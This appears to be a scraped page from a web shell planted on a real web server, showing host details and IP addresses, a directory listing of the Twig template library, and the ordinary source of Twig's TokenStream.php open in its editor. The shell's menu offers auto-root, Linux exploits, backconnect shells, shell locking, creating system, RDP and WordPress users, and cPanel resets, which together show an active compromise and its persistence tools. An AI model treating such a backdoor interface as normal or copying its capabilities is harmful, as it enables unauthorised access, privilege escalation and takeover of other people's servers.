Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.216
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
cwpsrv /
var /
services /
twig /
lib /
Twig /
[ HOME SHELL ]
Name
Size
Permission
Action
Cache
[ DIR ]
drwxr-xr-x
Error
[ DIR ]
drwxr-xr-x
Extension
[ DIR ]
drwxr-xr-x
Loader
[ DIR ]
drwxr-xr-x
Node
[ DIR ]
drwxr-xr-x
NodeVisitor
[ DIR ]
drwxr-xr-x
Profiler
[ DIR ]
drwxr-xr-x
Sandbox
[ DIR ]
drwxr-xr-x
Test
[ DIR ]
drwxr-xr-x
TokenParser
[ DIR ]
drwxr-xr-x
Util
[ DIR ]
drwxr-xr-x
BaseNodeVisitor.php
1.12
KB
-rw-r--r--
CacheInterface.php
1.35
KB
-rw-r--r--
Compiler.php
5.42
KB
-rw-r--r--
ContainerRuntimeLoader.php
867
B
-rw-r--r--
Environment.php
26.4
KB
-rw-r--r--
Error.php
8
KB
-rw-r--r--
ExistsLoaderInterface.php
327
B
-rw-r--r--
ExpressionParser.php
27.71
KB
-rw-r--r--
Extension.php
701
B
-rw-r--r--
ExtensionInterface.php
1.33
KB
-rw-r--r--
ExtensionSet.php
12.53
KB
-rw-r--r--
FactoryRuntimeLoader.php
797
B
-rw-r--r--
FileExtensionEscapingStrategy....
1.39
KB
-rw-r--r--
Filter.php
2.99
KB
-rw-r--r--
Function.php
2.77
KB
-rw-r--r--
Lexer.php
15.16
KB
-rw-r--r--
LoaderInterface.php
1.61
KB
-rw-r--r--
Markup.php
795
B
-rw-r--r--
Node.php
4.6
KB
-rw-r--r--
NodeCaptureInterface.php
367
B
-rw-r--r--
NodeOutputInterface.php
346
B
-rw-r--r--
NodeTraverser.php
1.9
KB
-rw-r--r--
NodeVisitorInterface.php
1017
B
-rw-r--r--
Parser.php
10.22
KB
-rw-r--r--
RuntimeLoaderInterface.php
701
B
-rw-r--r--
SimpleFilter.php
307
B
-rw-r--r--
SimpleFunction.php
311
B
-rw-r--r--
SimpleTest.php
303
B
-rw-r--r--
Source.php
966
B
-rw-r--r--
SourceContextLoaderInterface.p...
334
B
-rw-r--r--
Template.php
12.05
KB
-rw-r--r--
TemplateWrapper.php
3
KB
-rw-r--r--
Test.php
1.87
KB
-rw-r--r--
Token.php
5.59
KB
-rw-r--r--
TokenParser.php
606
B
-rw-r--r--
TokenParserInterface.php
818
B
-rw-r--r--
TokenStream.php
3.69
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TokenStream.php
<?php /* * This file is part of Twig. * * (c) Fabien Potencier * (c) Armin Ronacher * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ /** * Represents a token stream. * * @author Fabien Potencier <fabien@symfony.com> */ final class Twig_TokenStream { private $tokens; private $current = 0; private $source; /** * @param array $tokens An array of tokens * @param Twig_Source $source */ public function __construct(array $tokens, Twig_Source $source = null) { $this->tokens = $tokens; $this->source = $source ?: new Twig_Source('', ''); } public function __toString() { return implode("\n", $this->tokens); } public function injectTokens(array $tokens) { $this->tokens = array_merge(array_slice($this->tokens, 0, $this->current), $tokens, array_slice($this->tokens, $this->current)); } /** * Sets the pointer to the next token and returns the old one. * * @return Twig_Token */ public function next() { if (!isset($this->tokens[++$this->current])) { throw new Twig_Error_Syntax('Unexpected end of template.', $this->tokens[$this->current - 1]->getLine(), $this->source); } return $this->tokens[$this->current - 1]; } /** * Tests a token, sets the pointer to the next one and returns it or throws a syntax error. * * @return Twig_Token|null The next token if the condition is true, null otherwise */ public function nextIf($primary, $secondary = null) { if ($this->tokens[$this->current]->test($primary, $secondary)) { return $this->next(); } } /** * Tests a token and returns it or throws a syntax error. * * @return Twig_Token */ public function expect($type, $value = null, $message = null) { $token = $this->tokens[$this->current]; if (!$token->test($type, $value)) { $line = $token->getLine(); throw new Twig_Error_Syntax(sprintf('%sUnexpected token "%s" of value "%s" ("%s" expected%s).', $message ? $message.'. ' : '', Twig_Token::typeToEnglish($token->getType()), $token->getValue(), Twig_Token::typeToEnglish($type), $value ? sprintf(' with value "%s"', $value) : ''), $line, $this->source ); } $this->next(); return $token; } /** * Looks at the next token. * * @param int $number * * @return Twig_Token */ public function look($number = 1) { if (!isset($this->tokens[$this->current + $number])) { throw new Twig_Error_Syntax('Unexpected end of template.', $this->tokens[$this->current + $number - 1]->getLine(), $this->source); } return $this->tokens[$this->current + $number]; } /** * Tests the current token. * * @return bool */ public function test($primary, $secondary = null) { return $this->tokens[$this->current]->test($primary, $secondary); } /** * Checks if end of stream was reached. * * @return bool */ public function isEOF() { return $this->tokens[$this->current]->getType() === Twig_Token::EOF_TYPE; } /** * @return Twig_Token */ public function getCurrent() { return $this->tokens[$this->current]; } /** * Gets the source associated with this stream. * * @return Twig_Source * * @internal */ public function getSourceContext() { return $this->source; } }
Close